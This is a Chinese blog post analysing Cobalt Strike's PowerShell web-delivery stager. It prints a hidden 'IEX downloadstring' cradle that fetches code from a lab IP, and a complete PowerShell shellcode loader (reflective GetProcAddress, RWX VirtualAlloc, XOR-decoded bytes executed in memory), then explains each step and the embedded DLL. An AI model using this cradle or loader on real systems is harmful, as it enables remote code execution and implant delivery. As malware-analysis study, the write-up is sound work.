简单记录下之前CS的powershell上线分析心路历程。
本文主要分析内容
1、CS powershell上线过程分析
2、powershell shellcodeloader分析
3、shellcode内容
4、dll注入相关内容
5、ReflectDllInjection技术分析
生成攻击payload:
CS通过Arttack—>Web Drive-by—>Scripted Web Delivery(s)
生成的攻击payload如下:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.129.132:80/xxx'))"
取hxxp://xxx:port/xx文件内容
直接访问对应地址,http://192.168.129.132:80/xxx
拿到内容:
$s\=New-Object IO.MemoryStream(,\[Convert\]::FromBase64String("H4sIAAAAAAAAAOy9Wc/q..........................................EJEsbCTVgUA")); IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,\[IO.Compression.CompressionMode\]::Decompress))).ReadToEnd();
简化下:
$s\=New-Object IO.MemoryStream(,\[Convert\]::FromBase64String("字符内容")); IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,\[IO.Compression.CompressionMode\]::Decompress))).ReadToEnd();
其实就是执行一个IEX的powershell命令,传入的参数为上面那段字符串的base64解码然后gzig解压缩之后的内容:
base64 AND Gzip Decode
所以这里我们直接对上述字符串解码:
简单写个java脚本解下( 当然其实大可不必,直接丢powershell里面就可以解出来重定向到文件里面即可,或者直接一个工具也能比较方便的解出来比如CyberChef,但是这里我习惯用java处理,就几行代码,也很快):
import sun.misc.BASE64Decoder; import java.io.\*; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Base64; import java.util.zip.GZIPInputStream; import java.util.zip.ZipException; /\*\* \* @author ga0weI \* @time 20220731 \*/ public class OtherforCStest { public static void main(String\[\] args) throws Exception { try( FileOutputStream fileOutputStream \= new FileOutputStream("Afterdbase64Dgzip.txt")){ Path path \= Paths.get("Waitdbase64Dgzip.txt"); byte\[\] bytess\= Files.readAllBytes(path); byte\[\] res \= Base64.getDecoder().decode(bytess);//base64解码 byte\[\] bres \= uncompress(res);//gzip解码 fileOutputStream.write(bres); System.out.println("解码完成,生成文件Afterdbase64Dgzip.txt"); } } /\*\* Gzip解压 \*/ public static byte\[\] uncompress(byte\[\] bytes) throws ZipException, IOException { if (bytes \== null || bytes.length \== 0) { return null; } ByteArrayOutputStream out \= new ByteArrayOutputStream(); ByteArrayInputStream in \= new ByteArrayInputStream(bytes); GZIPInputStream ungzip \= new GZIPInputStream(in); byte\[\] buffer \= new byte\[256\]; int n; while ((n \= ungzip.read(buffer)) \>= 0) { out.write(buffer, 0, n); } return out.toByteArray(); } }
解出来之后:
Set-StrictMode \-Version 2 function func\_get\_proc\_address { Param ($var\_module, $var\_procedure) $var\_unsafe\_native\_methods \= (\[AppDomain\]::CurrentDomain.GetAssemblies() | Where-Object { $\_.GlobalAssemblyCache \-And $\_.Location.Split('\\\\')\[\-1\].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $var\_gpa \= $var\_unsafe\_native\_methods.GetMethod('GetProcAddress', \[Type\[\]\] @('System.Runtime.InteropServices.HandleRef', 'string')) return $var\_gpa.Invoke($null, @(\[System.Runtime.InteropServices.HandleRef\](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var\_unsafe\_native\_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var\_module)))), $var\_procedure)) } function func\_get\_delegate\_type { Param ( \[Parameter(Position \= 0, Mandatory \= $True)\] \[Type\[\]\] $var\_parameters, \[Parameter(Position \= 1)\] \[Type\] $var\_return\_type \= \[Void\] ) $var\_type\_builder \= \[AppDomain\]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), \[System.Reflection.Emit.AssemblyBuilderAccess\]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', \[System.MulticastDelegate\]) $var\_type\_builder.DefineConstructor('RTSpecialName, HideBySig, Public', \[System.Reflection.CallingConventions\]::Standard, $var\_parameters).SetImplementationFlags('Runtime, Managed') $var\_type\_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var\_return\_type, $var\_parameters).SetImplementationFlags('Runtime, Managed') return $var\_type\_builder.CreateType() } If (\[IntPtr\]::size \-eq 4) { \[Byte\[\]\]$var\_code \= \[System.Convert\]::FromBase64String('bnlicXZrqsZr............................................jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw==') for ($x \= 0; $x \-lt $var\_code.Count; $x++) { $var\_code\[$x\] \= $var\_code\[$x\] \-bxor 35 } $var\_va \= \[System.Runtime.InteropServices.Marshal\]::GetDelegateForFunctionPointer((func\_get\_proc\_address kernel32.dll VirtualAlloc), (func\_get\_delegate\_type @(\[IntPtr\], \[UInt32\], \[UInt32\], \[UInt32\]) (\[IntPtr\]))) $var\_buffer \= $var\_va.Invoke(\[IntPtr\]::Zero, $var\_code.Length, 0x3000, 0x40) \[System.Runtime.InteropServices.Marshal\]::Copy($var\_code, 0, $var\_buffer, $var\_code.length) $var\_runme \= \[System.Runtime.InteropServices.Marshal\]::GetDelegateForFunctionPointer($var\_buffer, (func\_get\_delegate\_type @(\[IntPtr\]) (\[Void\]))) $var\_runme.Invoke(\[IntPtr\]::Zero) }
这里面其实就是定了一个两个方法(func_get_proc_address、func_get_delegate_type),然后代码逻辑里面是做了一个if条件判断然后执行一段代码,代码里面调用上面定义的两个方法。
分析代码逻辑
if的判断条件是[IntPtr]::size
的值
这个值是用来判断powershell的session是x86还是x64:
如下:x64里面[IntPtr]::size
为8
x86是里面是[IntPtr]::size
为4。其实这里就是我们在生成payload的时候我们是否勾选x64:
if条件满足后,定义了一个字节数组var_code,这个的内容是对后面那串base64解码之后的内容。
随后进入一个for循环,for循环里面是对var_code里面的字节逐个做异或,异或35(异或是模2同余运算,所以加解密的操作一样,这里是解密)
这里其实是在做还原,只不过因为异或的特殊性,异或就是2进制里面的mod2同余操作,所以这里在生成payload的时候的加密操作也是和35做异或,最后解密也是异或。
这里我们简单写个脚本解密和解密下:还是用java来:
package myutils; import java.io.FileOutputStream; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Base64; /\*\* \* @author ga0weI \* @time 20220731 \*/ public class Dbase64andDxor { public static void main(String\[\] args) throws Exception{ String filename \= "Waitdbase64Dxor.txt"; //待解密的base64字符串文件 fileforDxorFile(filename); } public static void fileforDxorFile(String filepath)throws Exception{ Path p \= Paths.get(filepath); byte\[\] filenamebytes \= Files.readAllBytes(p); byte\[\] afterDbase64bytes \= Base64.getDecoder().decode(filenamebytes);//base64解码 byte\[\] afterDxorbytes \= new byte\[afterDbase64bytes.length\]; int i \=0; for(i\=0;i<afterDbase64bytes.length;i++){ afterDxorbytes\[i\]\=(byte)(afterDbase64bytes\[i\]^35);//xor解密 } try(FileOutputStream fis \=new FileOutputStream("final")) { fis.write(afterDxorbytes); System.out.println("文件生成:final"); } } }
运行后生成的解密后的final文件:
一、分析解密后的final文件,也就是最后var_code字节数组里面的值
拿winhex直接打开,打开后发现这个文件是个pe文件,
接下来我们来回顾下pe文件的文件格式,PE文件最主要的两种形式就是exe和dll文件:
dos头中,我们只要知道头是MZ,3c的位置指向PE头,除此之外,doc头中间部分的值和3C的值到PE头的位置中见的部分的值都是可以随意填充的不影响运行,可以填充为00。
接下来我们来看PE文件头:
PE文件头一共20字节
typedef struct \_IMAGE\_FILE\_HEADER { WORD Machine;2 //CPU类型 WORD NumberOfSections;2 //节数 DWORD TimeDateStamp;4 //编译器的时间戳 DWORD PointerToSymbolTable;4 //COFF文件符号表在文件中的偏移 DWORD NumberOfSymbols;4 //如果有COFF 符号表,它代表其中的符号数目,COFF符号是一个大小固定的结构,如果想找到COFF 符号表的结束位置,则需要这个变量 WORD SizeOfOptionalHeader;2 //可选pe头的大小 WORD Characteristics;2 //文件属性相关 } IMAGE\_FILE\_HEADER, \*PIMAGE\_FILE\_HEADER;
如下图:
最后的文件属性,要将两个字节的内容转成2进制,然后匹配下面的数据位:如 上图中对应两字节为A022
转成2进制:1010 0000 0010 0010 —>第15、13、5、1位,所以该文件是一个大尾文件、dll文件、对应的应用程序可以处理大于2gb的地址,文件时可执行的:(这里也可以去参考导入和导出表来判断是dll还是exe)
直接使用Exeinfo先看下:
正常dll文件。
到这我有点懵了,放个dll文件放这干啥,
这里我们回过头去看下后续对该dll二进制文件的处理,也就是异或解密后的代码:
二、分析解密code之后的相关执行逻辑:
If (\[IntPtr\]::size \-eq 8) { \[Byte\[\]\]$var\_code \= \[System.Convert\]::FromBase64String('bnlicXZrqsZr............................................jIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw==') for ($x \= 0; $x \-lt $var\_code.Count; $x++) { $var\_code\[$x\] \= $var\_code\[$x\] \-bxor 35 } $var\_va \= \[System.Runtime.InteropServices.Marshal\]::GetDelegateForFunctionPointer((func\_get\_proc\_address kernel32.dll VirtualAlloc), (func\_get\_delegate\_type @(\[IntPtr\], \[UInt32\], \[UInt32\], \[UInt32\]) (\[IntPtr\]))) $var\_buffer \= $var\_va.Invoke(\[IntPtr\]::Zero, $var\_code.Length, 0x3000, 0x40) \[System.Runtime.InteropServices.Marshal\]::Copy($var\_code, 0, $var\_buffer, $var\_code.length) $var\_runme \= \[System.Runtime.InteropServices.Marshal\]::GetDelegateForFunctionPointer($var\_buffer, (func\_get\_delegate\_type @(\[IntPtr\]) (\[Void\]))) $var\_runme.Invoke(\[IntPtr\]::Zero) }
解密之后的执行逻辑一共就五句话:
第一句:
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
这里是调用了Marshal对象的GetDelegateForFunctionPointer方法,传入了两个参数:
参数一:func_get_proc_address kernel32.dll VirtualAlloc
参数二:func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))
这里其实就是调用了上面在这段代码前定义的两个方法:
第一个方法:func_get_proc_address
其实现如下:
function func\_get\_proc\_address { Param ($var\_module, $var\_procedure) $var\_unsafe\_native\_methods = (\[AppDomain\]::CurrentDomain.GetAssemblies() | Where-Object { $\_.GlobalAssemblyCache -And $\_.Location.Split('\\\\')\[-1\].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $var\_gpa = $var\_unsafe\_native\_methods.GetMethod('GetProcAddress', \[Type\[\]\] @('System.Runtime.InteropServices.HandleRef', 'string')) return $var\_gpa.Invoke($null, @(\[System.Runtime.InteropServices.HandleRef\](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var\_unsafe\_native\_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var\_module)))), $var\_procedure)) }
如上代码,其实从函数名称里面我们就可以大概看出来这个函数干了啥:应该是获取了某个procedure的地址和winapi kernel32.dll里面的GetProAddress类似,这里我们简单来看下这些代码干了啥:
该函数传入两个参数,一个是module,一个是procedure,然后第一句是从当前系统程序集里面找到System.dll并调用GetType获取其UnsafeNatibeMethods对象:
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
如下的第二句:通过上面获取的UnsafeNatibeMethods对象调用GetMethod来获取GetProAddress的句柄,其实就是指针,也就是在.net(powershell是基于.net的)中的非托管函数指针。
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
如下最后一句:最后一句非常长,其实就是一个反射调用,先是和上面同样的方式通过$var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module))
拿到传入module的句柄,然后这个反射调用就等价于调用了GetProcAddress(hMoudle,lpProcName),hMoudle是传入的参数module,lpProcName是传入的参数lpProcName。
return $var\_gpa.Invoke($null, @(\[System.Runtime.InteropServices.HandleRef\](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var\_unsafe\_native\_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var\_module)))), $var\_procedure))
所以总结下:这个func_get_proc_address函数的功能就是获取传入dll里面对应传入函数名的地址。和win api里面Kernel32.dll里面GetProcAddress一样,按笔者的理解,其实这里就是c#中如何去实现调用GetProcAddress,只不过这里是通过System.dll这条路过去的,应该还有其他办法,这种可能是一种免杀的手段(包括这里通过反射调用啥的)。
第二个方法:func_get_delegate_type
function func\_get\_delegate\_type { Param ( \[Parameter(Position = 0, Mandatory = $True)\] \[Type\[\]\] $var\_parameters, \[Parameter(Position = 1)\] \[Type\] $var\_return\_type = \[Void\] ) $var\_type\_builder = \[AppDomain\]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), \[System.Reflection.Emit.AssemblyBuilderAccess\]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', \[System.MulticastDelegate\]) $var\_type\_builder.DefineConstructor('RTSpecialName, HideBySig, Public', \[System.Reflection.CallingConventions\]::Standard, $var\_parameters).SetImplementationFlags('Runtime, Managed') $var\_type\_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var\_return\_type, $var\_parameters).SetImplementationFlags('Runtime, Managed') return $var\_type\_builder.CreateType() }
这两个方法都看完了,我们回到上面的五句逻辑代码:
$var\_va = \[System.Runtime.InteropServices.Marshal\]::GetDelegateForFunctionPointer((func\_get\_proc\_address kernel32.dll VirtualAlloc), (func\_get\_delegate\_type @(\[IntPtr\], \[UInt32\], \[UInt32\], \[UInt32\]) (\[IntPtr\]))) $var\_buffer = $var\_va.Invoke(\[IntPtr\]::Zero, $var\_code.Length, 0x3000, 0x40) \[System.Runtime.InteropServices.Marshal\]::Copy($var\_code, 0, $var\_buffer, $var\_code.length) $var\_runme = \[System.Runtime.InteropServices.Marshal\]::GetDelegateForFunctionPointer($var\_buffer, (func\_get\_delegate\_type @(\[IntPtr\]) (\[Void\]))) $var\_runme.Invoke(\[IntPtr\]::Zero)
第一句这里其实就是调用System.Runtime.InteropServices.Marshal对象的GetDelegateForFunctionPointer方法,传入VirtualAlloc的函数地址以及一个我们构造的委派类型,我们来看下这个方法是干啥的:
所以第一句就是将我们传入的VirtuaAlloc非托管函数指针转换成我们第二个参数中构造的委托类型的委托。为什么要这么做呢?
因为windows 的api在不是基于.net的,这里称不是基于.net的api,也就是第三方的api,称为非托管函数;所以我们在powershell中要调用VirtualAlloc这个win api的时候,我们不能直接通过非托管函数调用,那么怎么调用呢,调用的方法之一就是这里的通过GetDelegateForFunctionPointer方法将非托管函数指针转换成委托实例来调用。
如下的第二句话就是通过反射调用第一句中的委托:就相当于调用VirtualAlloc这个api,开辟了一个上面var_code大小的空间。返回该地址的基址给var_buffer
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
如下的第三句话:调用System.Runtime.InteropServices.Marshal的Copy方法,将var_code字节数组里面的值复制到刚刚开辟出来的var_buffer空间中。
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
至此,我们的dll文件就写到了该进程的运行内存中:
如下是第四句话:就是调用GetDelegateForFunctionPointer方法将开辟出来空间的非托管函数指针转化成实例,为下面调用做准备
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
如下是第五句话:反射直接在该进程中运行第四句获取的委托,其实就是运行那个字节码,也就是我们看上去像是dll的字节码(其实也是字节码)
$var_runme.Invoke([IntPtr]::Zero)
简单回看下上面的5句话,会发现这里的5句话其实就是一个shellcodeloader,那么var_code里是我们想要执行的shellcode。那为啥这里我们解密出来的var_code也就是所谓的“shellcode”是个dll呢?
这里我们就要思考下普通shellcode在这里是怎么工作的了,在笔者看来shellcode本身其实就是一串没有“依赖”的机器码,我们可以将其注入到任意的EXE文件里面,通过hook的方式也好,直接注入,(如修改入口点先执行shellcode再跳回ep)也好,其都能够执行,不依赖宿主导入表和重定向表等。
所以接下来分析的思路有两条:
1、直接将dll当作shellcode作为机器码转为汇编来分析
2、了解下关于shellcode和dll之间联系的技术
笔者在分析这里的时候其实是走了一个很长的弯路,第二条路,并且然后跑偏了去学习shellcode编写和相关dll注入技术了。不过巧合的是,通过这两点技术的学习,使笔者之后对分析上面这个dll更加得心应手(包括对后期的msf和csshellcode的分析也更加清晰)。当然不置可否,如果只是从解决问题的角度肯定走第一条路更好。
这里笔者从第二条思路展开写下自己的一个学习过程,因为第一条思路其实是比较无聊的,就是硬肯汇编代码,并且没有思路,不好理解。